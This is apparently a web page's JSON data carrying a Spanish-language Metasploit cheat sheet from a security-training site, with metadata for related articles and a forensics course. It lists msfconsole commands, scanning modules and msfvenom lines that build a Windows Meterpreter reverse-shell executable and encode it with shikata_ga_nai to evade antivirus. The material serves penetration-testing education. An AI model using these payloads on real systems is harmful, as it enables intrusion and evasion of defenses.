[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJyecp847tyQhjQvEsoeLvevdc5lskgw1mEp24EtEZEk":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":52,"related_specialty":40},"hoja-de-trucos-de-metasploit","Hoja de trucos de Metasploit","El Proyecto Metasploit es un proyecto de seguridad informática que proporciona información sobre vulnerabilidades y ayuda en el desarrollo de pruebas de penetración y firmas IDS.Metasploit es una herramienta popular utilizada por los expertos de Pentest.",{"slug":8,"name":9},"forense","Forense ",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"Omar_veliz","Omar Jacobo Muñoz Veliz","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdmdGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--de6eb458d07377fb9d25e6ed92e1917f274c8cdb\u002Fprofile.jpg","Content at Backtrack Academy","Content Dev en backtrackacademy, auditor de seguridad informatica y desarrollador de software.","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBckVPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--b24d5e96299a9854217f571bce650edc5671dafa\u002FMetasploit.png","2019-02-28T23:29:33-03:00","2026-10-26T18:19:15-03:00","\u003Ch2>Introducción\u003C\u002Fh2>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El Proyecto Metasploit es un proyecto de seguridad informática que proporciona información sobre vulnerabilidades y ayuda en el desarrollo de pruebas de penetración y firmas IDS.\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>\u003Cstrong>Metasploit\u003C\u002Fstrong> es una herramienta popular utilizada por los expertos de Pentest.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002F4.bp.blogspot.com\u002F-tbcUjKZ3qQo\u002FXENwW5l2N_I\u002FAAAAAAAAN6k\u002FlVjCg1H6KWEKhR5hn_WXZnrodKJt6a7EwCLcBGAs\u002Fs640\u002Fmetasploit-5.0.png\">\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch3>Trucos\u003C\u002Fh3>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Búsqueda de módulo:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > search [regex]\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Especifique y explote para usar:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > use exploit\u002F[ExploitPath]\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Especifique una carga útil para utilizar:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > set PAYLOAD [PayloadPath]\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Mostrar opciones para los módulos actuales:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > show options\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Establecer opciones:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > set [Option] [Value]\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Comience a explotar:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > exploit \u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch4>\u003Cstrong>Módulos auxiliares útiles\u003C\u002Fstrong>\u003C\u002Fh4>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Escáner de puertos:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\r\nmsf > set RHOSTS 10.10.10.0\u002F24\r\nmsf > run\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Enumeración DNS:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > use auxiliary\u002Fgather\u002Fdns_enum\r\nmsf > set DOMAIN target.tgt\r\nmsf > run\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Servidor FTP:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > use auxiliary\u002Fserver\u002Fftp\r\nmsf > set FTPROOT \u002Ftmp\u002Fftproot\r\nmsf > run\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Servidor proxy:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>msf > use auxiliary\u002Fserver\u002Fsocks4\r\nmsf > run \u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cstrong>Msfvenom\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>La herramienta msfvenom se puede usar para generar cargas útiles Metasploit (como Meterpreter) como archivos independientes y, opcionalmente, codificarlas. Esta herramienta reemplaza las antiguas herramientas msfpayload y msfencode. Ejecute con '' -l payloads '' para obtener una lista de cargas útiles.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cblockquote>\r\n\u003Cp>$ msfvenom –p [PayloadPath] –f [FormatType] LHOST=[LocalHost (if reverse conn.)] LPORT=[LocalPort]\u003C\u002Fp>\r\n\u003C\u002Fblockquote>\r\n\u003Cp>Ejemplo\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Invierta la carga útil de Meterpreter como un archivo ejecutable y se redirige a un archivo:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cblockquote>\r\n\u003Cp>$ msfvenom -p windows\u002Fmeterpreter\u002F reverse_tcp -f exe LHOST=10.1.1.1 LPORT=4444 > met.exe\u003C\u002Fp>\r\n\u003C\u002Fblockquote>\r\n\u003Cp>Opciones de formato (especificadas con –f) --help-format: muestra los formatos de salida disponibles\u003Cbr>exe - Pl ejecutable - Perl rb - Ruby raw - Shellcode sin procesar c - Código C\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Codificación de cargas útiles con msfvenom\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>La herramienta msfvenom se puede utilizar para aplicar un nivel de codificación para la omisión de antivirus. Ejecute con '-l codificadores' para obtener una lista de codificadores.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ccode>$ msfvenom -p [Payload] -e [Encoder] -f\r\n[FormatType] -i [EncodeInterations]\r\nLHOST=[LocalHost (if reverse conn.)]\r\nLPORT=[LocalPort]\u003C\u002Fcode>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cstrong>Ejemplo\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>Codifique una carga útil de msfpayload 5 veces usando el codificador shikata-ga-nai y ejecute como ejecutable:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cblockquote>\r\n\u003Cp>$ msfvenom -p windows\u002Fmeterpreter\u002F reverse_tcp -i 5 -e x86\u002Fshikata_ga_nai -f exe LHOST=10.1.1.1 LPORT=4444 > mal.exe\u003C\u002Fp>\r\n\u003C\u002Fblockquote>","Metasploit",2,[23,35,44],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"escalamiento-de-privilegios-en-linux","Shell reverse php en Linux con Burpsuite.","Un atacante puede hacer uso de formularios no sanitizados para hacer cargas de Shell, y así poder ejecutar comandos remotos desde su equipo a un servidor.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"user-1543237612","Cristian Jose Acuña  Ramirez","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUFQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--c84d5840f618ed711f6d776d0a8e54daa3f13bbe\u002F6e76f75b-b5b8-49f8-8b6a-73d757ad7c65.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBcDhSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--0b47bc32b6609a2fc9627f5c05f4dfc2673a70ea\u002Ffondo.png","2019-12-26T18:41:07-03:00","2026-10-26T16:41:36-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":41,"image_thumb_url":41,"published_at":42,"updated_at":43},"obteniendo-las-cuentas-cifradas-con-analisis-forense-de-memoria-lastpass","Obteniendo las cuentas cifradas con análisis forense de memoria. LastPass","Esta publicación se me ocurrió debido a que esta semana leí la noticia PSA: LastPass Does Not Encrypt Everything In Your Vault básicamente LastPass no está cifrando todos los datos del usuario\r\nLastPass es una de las plataformas más utilizadas para almacenar nuestras cuentas de usuario y contraseñas y poder acceder a ellas siempre que lo necesitemos.",{"slug":8,"name":9},null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUlPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e078e65ff3fe8081783f3d2264b8274e033f9f9e\u002Fshutterstock_1159844176.jpg","2017-02-21T22:51:36-03:00","2026-10-26T18:56:20-03:00",{"slug":45,"title":46,"summary":47,"category":48,"author":40,"image_url":49,"image_thumb_url":49,"published_at":50,"updated_at":51},"pinpatrol-add-on-forense-para-conexiones-seguras-con-hsts-y-hpkp-474777d9-3a96-460b-9951-77d30978a464","PinPatrol add-on forense para conexiones seguras con HSTS y HPKP","Es un add-on para mejorar la experiencia de uso con HSTS y HPKP en Firefox y Chrome. Muestra esta información en formato legible siendo sencillo de usar y proporciona información útil sobre los datos relativos a HSTS y HPKP que almacena el navegador.",{"slug":8,"name":9},"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaHNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--301a2f749226ae9eaeb22707f911e1cb091329d3\u002Fshutterstock_1070281880_(1).jpg","2017-01-25T00:26:17-03:00","2026-10-26T08:23:51-03:00",{"slug":53,"title":54,"summary":55,"level":56,"specialty":40,"category":57,"instructor":58,"image_url":62,"image_thumb_url":62,"duration_seconds":63,"lessons_count":64,"students_count":65,"is_free":66,"coming_soon":66,"updated_at":67},"introduccion-al-computo-forense","Introducción al cómputo forense","Aprende fundamentos teóricos y prácticos del cómputo forense.","Basicos",{"slug":8,"name":9},{"username":59,"name":60,"avatar_url":61},"pacopadilcyber","Juan Francisco Padilla Suaste","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc3dKIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--46767f3afdbcf97d2d7ce065e1328ae065a2a55b\u002Fdownload.jpeg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBandOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--64509000b445be1b465f949fb18971f07c458110\u002FAn-forense-pequen%CC%83a2.png",21670,32,1781,false,"2025-02-15T00:32:05-03:00"]